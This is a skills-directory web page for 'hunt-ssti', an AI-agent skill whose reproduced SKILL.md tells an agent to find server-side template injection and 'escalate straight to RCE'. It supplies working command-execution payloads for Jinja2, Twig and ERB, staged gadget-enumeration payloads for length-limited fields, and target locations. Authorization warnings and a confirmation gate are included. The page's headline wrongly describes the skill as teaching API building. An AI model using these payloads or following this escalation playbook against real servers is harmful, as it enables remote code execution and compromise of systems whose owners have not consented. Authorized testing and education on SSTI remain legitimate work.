Skip to content
Skillpedia
APIs & servers (backend)48k · #3292

hunt-ssti

Teaches your AI agent to build APIs and back-end systems.

What it does

This tool searches for security flaws on websites called 'Server-Side Template Injection' (SSTI). It attempts to run commands on the server to check if the site is vulnerable.

When to use it

  • ✓When testing a website's security with permission.
  • ✓For educational purposes about web security.
  • ✓In authorized security assessments.

Example of what to ask your AI

“Hunt for SSTI on example.com”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-ssti/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-ssti/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool sends small pieces of code to the website, disguised as normal data. If the website interprets these codes as instructions, it might be vulnerable.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add sickn33/agentic-awesome-skills --skill hunt-ssti

Or download just the file:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-ssti/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

Autonomous Testing Priority

Escalate straight to RCE — don't stop at arithmetic detection.

Arithmetic probes ({{7*7}}→49) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like <input value="{{7*7}}">), producing a false negative even when injection exists.

Order of attack:

  1. Try Jinja2 RCE first (covers Python/Flask — the most common stack in modern web apps):
    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    
  2. If the endpoint is a traditional web form, send as form-encoded body — NOT JSON:
    Content-Type: application/x-www-form-urlencoded
    field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    
    JSON bodies are silently ignored by form-processing endpoints (request.form['field'] sees nothing).
  3. If Jinja2 fails, try Twig (PHP/Symfony): {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  4. Fall back to arithmetic detection only to fingerprint the engine when RCE payloads fail.

Proof: Command output (uid=N(user) gid=...) in the response confirms RCE. If the output appears in HTML (inside a <div> or <pre>), that still counts — the format is irrelevant, the content is the evidence.


14. SSTI — SERVER-SIDE TEMPLATE INJECTION

Easy to detect, high payout ($2K–$8K). Direct path to RCE.

Detection Payloads (try all)

{{7*7}}          → 49 = Jinja2 / Twig
${7*7}           → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %>       → 49 = ERB (Ruby)
*{7*7}           → 49 = Spring Thymeleaf
{{7*'7'}}        → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.

RCE Payloads

Jinja2 (Python/Flask):

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig (PHP/Symfony):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

ERB (Ruby):

<%= `id` %>

Length-constrained injection fields (profile name, display name, subject)

When the injectable field caps input length (a profile-name / display-name field is often ≤30-64 chars), the full os.popen one-liner won't fit — but detection and class-enumeration still do. Confirm with the short probe, then enumerate the gadget index in stages instead of one payload:

{{ '7'*7 }}                                  # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX] ('id',shell=True,stdout=-1).communicate() }}

The reflected sink is frequently an outbound email (the account-update / confirmation mail rendering your name), not the web page — read the email body for the evaluated output. Disclosed: reports/125980 (profile-name → Jinja2 → confirmation email, length-limited).

Where to Test

Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected

CMS / "documentation" template-editor forms (authenticated)

Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template preview). PortSwigger's "SSTI using documentation" class is this shape. Three things break a naive attempt:

…

FAQ

What is SSTI?

It's a vulnerability that allows an attacker to execute commands on the server hosting the website, by exploiting the site's own 'template' features.

Why do I need permission?

Testing website security without authorization is illegal and can cause damage. This tool should only be used in controlled environments with explicit permission.

What is RCE?

RCE stands for 'Remote Code Execution'. It's the ultimate goal of an SSTI attack, where the attacker can run commands on the server remotely.

Details

Original description by the author

Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty.

repo: sickn33/agentic-awesome-skills

Popularity

GitHub stars
48k
Ranking position
#3292
License
MIT
Updated
10/15/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills